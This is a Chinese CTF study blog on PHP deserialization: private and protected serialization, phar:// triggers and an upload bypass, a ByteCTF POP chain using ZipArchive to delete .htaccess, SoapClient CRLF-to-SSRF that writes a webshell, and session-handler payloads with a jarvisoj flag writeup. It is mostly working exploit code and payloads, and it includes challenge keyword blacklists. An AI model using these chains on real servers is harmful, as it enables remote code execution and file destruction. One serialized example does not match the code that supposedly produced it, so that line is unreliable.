说在前面
对于PHP反序列化,原来也就只是浅尝而止。最近看到很多题的出现了多种没有了解过的反序列化形式,就此进一步学习一下。其中很多内容都参考了师傅们的博客,部分内容经过自己的修改。如果存在错误,还望师傅们指出。
pravite和Protected成员的序列化
以前在做反序列化的题的时候遇到的都是public成员,但在k0rz3n师傅的文章中看到了Private和Protected权限序列化的过程中有着不同的差别。这里做一个小知识点的总结。
先来复习一下一个简单的序列化例子:
<?php
class Threezh1 {
public $text;
function execute($payload) {
eval($payload);
}
function __destruct(){
$this->execute($this->text);
}
}
$a = new Threezh1();
$a->text = 'echo "Threezh1";';
echo serialize($a);
?>
序列化后的内容:
O:8:"Threezh1":1:{s:4:"text";s:16:"echo "Threezh1";";}
O代表这是一个对象,8代表对象名称的长度,1代表成员个数。
大括号中分别是:属性名类型、长度、名称;值类型、长度、值。
那反序列化的过程中是这样的:
<?php
class Threezh1 {
public $text;
function execute($payload) {
eval($payload);
}
function __destruct(){
$this->execute($this->text);
}
}
unserialize($_GET["a"]);
?>
返回:
Threezh1
Private类型
那么问题来了,如果把$text成员从public改为private呢?
因为在实例中无法通过$obj->属性名(或方法名) 来调用pravite类型的方法或属性。所以上面生成的例子需要改一下:
<?php
class Threezh1
{
private $text = 'phpinfo();';
public function setPayload($temp){
$this->text = $temp;
}
function execute($payload) {
eval($payload);
}
function __destruct(){
$this->execute($this->text);
}
}
$a = new Threezh1();
$a->setPayload('echo "Threezh1";');
$data = serialize($a);
echo($data);
file_put_contents("serialize.txt", $data);
这时候生成出来的序列化的内容为:
O:8:"Threezh1":1:{s:14:"Threezh1text";s:16:"echo "Threezh1";";}
按照前面的反序列化步骤,进行反序列化。会发现序列化并没有成功,显示了phpinfo的页面:
那怎么样才能使它反序列化成功呢?我们使用winhex打开刚刚保存的serialize.txt
。内容如下图:
会发现在Threezh1的左右,也就是属性名中的类名左右存在两个空字节。所以反序列化不成功的原因就是由于序列化内容生成到网页后,空字节不会一同生成出去,导致反序列化的时候无法识别是private属性,反序列化失败。
那解决这个问题的方法就是,在传递反序列化字符串中,在类名的左右加上%00
,也就是空字节对于的URL编码。反序列化成功结果如下:
这也正好解释了,为什么序列化内容中,为什么属性名的长度为14。
所以,Private类型在序列化的格式为:%00类名%00
Protected类型
Protected类型和private有些许不同,生成的序列化内容为:
O:8:"Threezh1":1:{s:7:"*text";s:16:"echo "Threezh1";";}
使用winhex查看保存的serialize.txt
:
可得出,Protected类型在序列化的格式为:%00*%00类名
Phar反序列化
phar的总结类文章已经有很多了,比如Hu3sky学长的初探phar://
自己在总结phar的过程中又学习到了一些新的内容,这里就做下记录。
phar文件的结构:
phar文件都包含以下几个部分:
1. stub
phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容。
2. manifest
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方。
3. content
被压缩文件的内容
4. signature (可空)
签名,放在末尾。
生成一个phar文件:
php内置了一个phar类来处理相关操作。
注意:这里要将php.ini里面的phar.readonly
选项设置为Off
。并把分号去掉。
(如果你在命令行运行PHP文件还是无法生成成功,请使用php -v查看php版本并在修改指定版本的php.ini。)
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
漏洞利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且
:
、/
、phar
等特殊字符没有被过滤。
phar受影响的文件操作函数:
知道创宇测试后受影响的函数列表:
但实际并不止这一些。
参考zxc师傅的文章:https://blog.zsxsoft.com/post/38
在跟踪了受影响函数的调用情况后发现,除了所有文件函数,只要是函数的实现过程直接或间接调用了php_stream_open_wrapper
。都可能触发phar反序列化漏洞。
以下这些方式都可触发phar反序列化漏洞:
exif
exif_thumbnail
exif_imagetype
gd
imageloadfont
imagecreatefrom***
hash
hash_hmac_file
hash_file
hash_update_file
md5_file
sha1_file
file / url
get_meta_tags
get_headers
standard
getimagesize
getimagesizefromstring
zip
$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test');
Bzip / Gzip
当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
$z = 'compress.bzip2://phar:///home/sx/test.phar/test.txt';
$z = 'compress.zlib://phar:///home/sx/test.phar/test.txt';
配合其他协议:(SUCTF)
当环境限制了phar不能出现在前面的字符里,还可以配合其他协议进行利用。
php://filter/read=convert.base64-encode/resource=phar://phar.phar
这次的ByteCTF也有这个点。使用的是:php://filter/resource=phar://phar.phar
Postgres
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://phar.phar/aa');
?>
pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。
Mysql
LOAD DATA LOCAL INFILE也会触发这个php_stream_open_wrapper
配置一下mysqld:
[mysqld]
local-infile=1
secure_file_priv=""
<?php
class A {
public $s = '';
public function __wakeup () {
system($this->s);
}
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'testtable', 3306);
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a LINES TERMINATED BY \'\r\n\' IGNORE 1 LINES;');
?>
漏洞的利用实例:
一个简单的例子
phar.php
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> name='Threezh1'; //控制TestObject中的name变量为Threezh1
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
index.php
<?php
class TestObject {
public $name;
function __destruct()
{
echo $this -> name;
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}
?>
使用php phar.php
生成phar.phar
文件。
访问:http://127.0.0.1/index.php?file=phar://phar.phar
返回:Threezh1。 反序列化利用成功。
绕过文件格式限制
- 上传html页面: upload.html
- 后端校验页面:upload.php
- 一个漏洞页面:index.php (存在file_exits(), eval()函数)
- 一个上传目录: upload_file/
upload.html:
<!DOCTYPE html>
<html>
<head>
<title>upload file</title>
</head>
<body>
<form action="http://127.0.0.1/upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="Upload" />
</form>
</body>
</html>
upload.php
仅允许格式为gif的文件上传。上传成功的文件会存储到upload_file目录下。
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
echo "Upload: " . $_FILES["file"]["name"];
echo "Type: " . $_FILES["file"]["type"];
echo "Temp file: " . $_FILES["file"]["tmp_name"];
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
{
echo $_FILES["file"]["name"] . " already exists. ";
}
else
{
move_uploaded_file($_FILES["file"]["tmp_name"],
"upload_file/" .$_FILES["file"]["name"]);
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
}
}
else
{
echo "Invalid file,you can only upload gif";
}
index.php
<?php
class TestObject{
var $data = 'echo "Hello World";';
function __destruct()
{
eval($this -> data);
}
}
if ($_GET["file"]){
file_exists($_GET["file"]);
}
绕过思路:GIF格式验证可以通过在文件头部添加GIF89a绕过
我们可以构造一个php来生成phar.phar。
<?php
class TestObject {
}
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$o -> data='phpinfo();'; //控制TestObject中的data为phpinfo()。
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
利用过程:
- 一、生成一个phar.phar,修改后缀名为phar.gif
- 二、上传到upload_file目录下
可见已经执行了phpinfo命令了。
通过修改后缀名和文件头,能够绕过大部分的校验。
配合PHP内核哈希表碰撞攻击
参考:https://xz.aliyun.com/t/2613
原生类序列化(ZipArchive::open)
拿这次2019 ByteCTF的ezCMS这道题来学习这个知识点。
先是哈希长度扩展攻击 参考
登录账户:admin
登录密码:admin%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%90%00%00%00%00%00%00%00test
置cookie:user=2e05fd4ee5d0ec7853d174d06cd3ca47;
config.php:
<?php
session_start();
error_reporting(0);
$sandbox_dir = 'sandbox/'. md5($_SERVER['REMOTE_ADDR']); // sandbox + md5(ip)
global $sandbox_dir;
function login(){
$secret = "********";
setcookie("hash", md5($secret."adminadmin"));
return 1;
# 52107b08c0f3342d2153ae1d68e6262c
}
function is_admin(){
$secret = "********";
$username = $_SESSION['username'];
$password = $_SESSION['password'];
if ($username == "admin" && $password != "admin"){
if ($_COOKIE['user'] === md5($secret.$username.$password)){
return 1;
}
}
return 0;
}
class Check{ // 检查一些关键字
public $filename;
function __construct($filename)
{
$this->filename = $filename;
}
function check(){
$content = file_get_contents($this->filename);
$black_list = ['system','eval','exec','+','passthru','`','assert']; // 检查了文件中的一些关键字
foreach ($black_list as $k=>$v){
if (stripos($content, $v) !== false){
die("your file make me scare");
}
}
return 1;
}
}
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
}
public function view_detail(){
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
$mine = mime_content_type($this->filepath); //这里可以触发phar反序列化
$store_path = $this->open($this->filename, $this->filepath);
$res['mine'] = $mine;
$res['store_path'] = $store_path;
return $res;
}
public function open($filename, $filepath){
$res = "$filename is in $filepath";
return $res;
}
function __destruct() //类被销毁时自动触发
{
if (isset($this->checker)){
$this->checker->upload_file(); //调用upload_file()方法
}
}
}
class Admin{
public $size;
public $checker;
public $file_tmp;
public $filename;
public $upload_dir;
public $content_check;
function __construct($filename, $file_tmp, $size)
{
$this->upload_dir = 'sandbox/'.md5($_SERVER['REMOTE_ADDR']);
if (!file_exists($this->upload_dir)){
mkdir($this->upload_dir, 0777, true);
}
if (!is_file($this->upload_dir.'/.htaccess')){
file_put_contents($this->upload_dir.'/.htaccess', 'lolololol, i control all');
}
$this->size = $size;
$this->filename = $filename;
$this->file_tmp = $file_tmp;
$this->content_check = new Check($this->file_tmp);
$profile = new Profile();
$this->checker = $profile->is_admin();
}
public function upload_file(){
if (!$this->checker){
die('u r not admin');
}
$this->content_check -> check();
$tmp = explode(".", $this->filename);
$ext = end($tmp); //
if ($this->size > 204800){
die("your file is too big");
}
#
move_uploaded_file($this->file_tmp, $this->upload_dir.'/'.md5($this->filename).'.'.$ext);
}
public function __call($name, $arguments)
{
}
}
class Profile{
public $username;
public $password;
public $admin;
public function is_admin(){
//从SESSION当中取用户名和密码
$this->username = $_SESSION['username'];
$this->password = $_SESSION['password'];
$secret = "********";
if ($this->username === "admin" && $this->password != "admin"){
if ($_COOKIE['user'] === md5($secret.$this->username.$this->password)){
return 1;
}
}
return 0;
}
function __call($name, $arguments) //当调用不存在的方式时触发
{
$this->admin->open($this->username, $this->password); //这里作为
}
}
view.php:
<?php
error_reporting(0);
include ("config.php");
$file_name = $_GET['filename'];
$file_path = $_GET['filepath'];
$file_name=urldecode($file_name);
$file_path=urldecode($file_path);
$file = new File($file_name, $file_path); //调用File类
$res = $file->view_detail(); //调用view_detail方法
$mine = $res['mine'];
$store_path = $res['store_path'];
echo <<<EOT
<div style="height: 30px; width: 1000px;">
<Ariel>mine: {$mine}</Ariel><br>
</div>
<div style="height: 30px; ">
<Ariel>file_path: {$store_path}</Ariel><br>
</div>
EOT;
?>
在view.php中,url中传递的filename与filepath进行一次url编码之后传递到File类中调用view_detail方法。
view_detail方法中存在一个mime_content_type()
函数, 这个函数是可以导致phar反序列化的。
在此之前:
if (preg_match('/^(phar|compress|compose.zlib|zip|rar|file|ftp|zlib|data|glob|ssh|expect)/i', $this->filepath)){
die("nonono~");
}
这个正则禁止了大部分的进行phar反序列化的关键词,不允许这些关键词出现在filepath的开头。但是这里漏了一个php://协议。 参考SUCTF
找到了phar反序列化触发点之后,开始构造一条可利用的POP链,思路:
- File类的
__destruct()
会调用$this->checker->upload_file()
。可以将$this->checker
赋值为Profile类 - 因为
$this->checker
没有Profile类,触发__call()
魔术方法 - 调用
$this->admin->open($this->username, $this->password);
这里可以使用原生类反序列化
原生类反序列化参考
简要笔记:
利用PHP函数 ZipArchive::open($filename, $flags)
当$flag=ZipArchive::OVERWRITE时,就会将$filename的文件删除
构造Payload:
<?php
class File{
public $filename;
public $filepath;
public $checker;
function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
$this->checker = new Profile();
}
}
class Profile{
public $username;
public $password;
public $admin;
function __construct()
{
$this->username = "./sandbox/f528764d624db129b32c21fbca0cb8d6/.htaccess";
$this->password = "ZipArchive::OVERWRITE";
$this->admin = new ZipArchive();
}
}
$a = new File("threezh1", "threezh1");
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new TestObject();
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>
先把phar文件生成出来上传。
即可把.htaccess删除,再直接去访问一句话木马连蚁剑拿flag。(这里由于题目已经关了,自己的环境总是出问题,就没复现成功。)
原生类魔法函数(soapClient类)
参考这一篇:反序列化攻击面拓展提高篇
SOAP是webService三要素(SOAP、WSDL(WebServicesDescriptionLanguage)、UDDI(UniversalDescriptionDiscovery andIntegration))之一
WSDL 用来描述如何访问具体的接口
UDDI用来管理,分发,查询webService
SOAP(简单对象访问协议)是连接或Web服务或客户端和Web服务之间的接口。
webService相当于 HTTP + XML
SoapClient()方法
public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )
第一个参数是用来指明是否是wsdl模式,如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求。
用Soap进行SSRF也有两个需要注意的点:
- Soap不是默认开启的,需要手动开启
- 需要触发__call方法才能进行SSRF
SOAP => CRLF => SSRF
文章当中的exp.php:
<?php
$target = 'http://127.0.0.1/test.php';
$post_string = '1=file_put_contents("shell.php", "<?php phpinfo();?>");';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
'Cookie: xxxx=1234'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));
$aaa = serialize($b);
$aaa = str_replace('^^','%0d%0a',$aaa);
$aaa = str_replace('&','%26',$aaa);
echo $aaa;
$c=unserialize(urldecode($aaa));
$c->ss();
?>
test.php:
<?php
if($_SERVER['REMOTE_ADDR']=='127.0.0.1'){
echo 'hi';
@$a=$_POST[1];
@eval($a);
}
?>
访问 http://127.0.0.1/exp.php
可在目录下写入一个shell.php。
Session反序列化
参考这一篇PHP中SESSION反序列化机制
PHP中的session保存
PHP.ini有以下配置项用于控制session有关的设置:
session.save_path="D:\xampp\tmp" 表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php 表明session的默认序列话引擎使用的是php序列话引擎
PHP中有多种session的序列话引擎,当我设置session为$_SESSION["name"] = "Threezh1";
时。不同的引擎保存的session文件内容如下:
php:
name|s:8:"Threezh1";
存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php_binary:
names:8:"Threezh1";
存储方式是,键名+竖线+经过serialize()函数序列处理的值
php_serialize(php>5.5.4):
a:1:{s:4:"name";s:8:"Threezh1";}
存储方式是,经过serialize()函数序列化处理的值
切换不同引擎使用的函数为:ini_set('session.serialize_handler', '需要设置的引擎');
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something
Session反序列化漏洞的原理:
如果在PHP在反序列化存储的$_SESSION
数据时使用的引擎和序列化使用的引擎不一样,会导致数据无法正确第反序列化。如果session值可控,则可通过构造特殊的session值导致反序列化漏洞。
文章中有一个简单的例子:
test1.php
<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION["spoock"]=$_GET["a"];
?>
test2.php
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
?>
通过源码可以得知,test1中使用的session解析引擎是php_serialize,test2使用的是php。
并且在test1中,SESSION["spoock"]
的值是可控的。
访问:
http://localhost/test1.php?a=|O:5:%22lemon%22:1:{s:2:%22hi%22;s:16:%22echo%20%27Threezh1%27;%22;}
a参数的值为“|” + 一个序列化的对象。
再访问:
http://localhost/test2.php
返回:
Threezh1
可知我们在session中的解析过程中,对我们的payload进行了反序列化。为什么会出现这种情况呢?
payload的构造
先看两个解析引擎存储session的格式:
php:
name|s:8:"Threezh1";
存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
php_serialize(php>5.5.4):
a:1:{s:4:"name";s:8:"Threezh1";}
存储方式是,经过serialize()函数序列化处理的值
思路:
因为储存session的页面(test1)使用的是php_serialize解析引擎,如果我们把session的值中添加一个“|”,在test2页面中使用php解析引擎解析的过程中,就会把“|”前面的值作为一个session键名,对“|”后面就会进行一个反序列化操作。
“|”后面的序列化对象生成:
<?php
class lemon {
var $hi;
function __construct(){
$this->hi = 'phpinfo();';
}
function __destruct() {
eval($this->hi);
}
}
$a = new lemon();
$a->hi = "echo 'Threezh1';";
echo serialize($a)
?>
但是直接这样利用的话,局限性还是太大了。
但在有趣的php反序列化总结中介绍了另一种Session反序列化漏洞的利用方式。
当PHP中session.upload_progress.enabled
打开时,php会记录上传文件的进度,在上传时会将其信息保存在$_SESSION
中。详情。
条件:
- session.upload_progress.enabled = On (是否启用上传进度报告)
- session.upload_progress.cleanup = Off (是否上传完成之后删除session文件)
上传文件进度的报告就会以写入到session文件中,所以我们可以设置一个与session.upload_progress.name同名的变量(默认名为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION
中添加一条数据。我们就可以控制这个数据内容为我们的恶意payload。
本打算复现:有趣的php反序列化总结,但在传递payload的时候,payload如果存在"|"。session就会为空,还没有找到解决的方法,如果有师傅遇到同样的问题,还望师傅帮忙解答。
jarvisoj-web-writeup PHPINFO
题目地址:http://web.jarvisoj.com:32784/
<?php
//A webshell is wait for you
ini_set('session.serialize_handler', 'php');
session_start();
class OowoO
{
public $mdzz;
function __construct()
{
$this->mdzz = 'phpinfo();';
}
function __destruct()
{
eval($this->mdzz);
}
}
if(isset($_GET['phpinfo']))
{
$m = new OowoO();
}
else
{
highlight_string(file_get_contents('index.php'));
}
?>
开头将session的解析引擎定义为了php。
访问:http://web.jarvisoj.com:32784/index.php?phpinfo 可看到session.upload_progress.enabled,session.upload_progress.cleanup都符合条件。
于是构造一个upload.html
<form action="http://web.jarvisoj.com:32784/index.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>
poc.php:
<?php
class OowoO
{
public $mdzz;
}
$a = new OowoO();
$a->mdzz = "print_r(scandir(__dir__));";
echo serialize($a);
?>
生成序列化的值为:
O:5:"OowoO":1:{s:4:"mdzz";s:22:"print_r(system('ls'));";}
在上传的时候抓包,修改上传的内容为序列化的值前加一个“|”。即可遍历目录。
再从phpinfo中的SCRIPT_FILENAME字段得到根目录地址:/opt/lampp/htdocs/
,构造得到payload:
O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents('/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php'));";}
得到flag: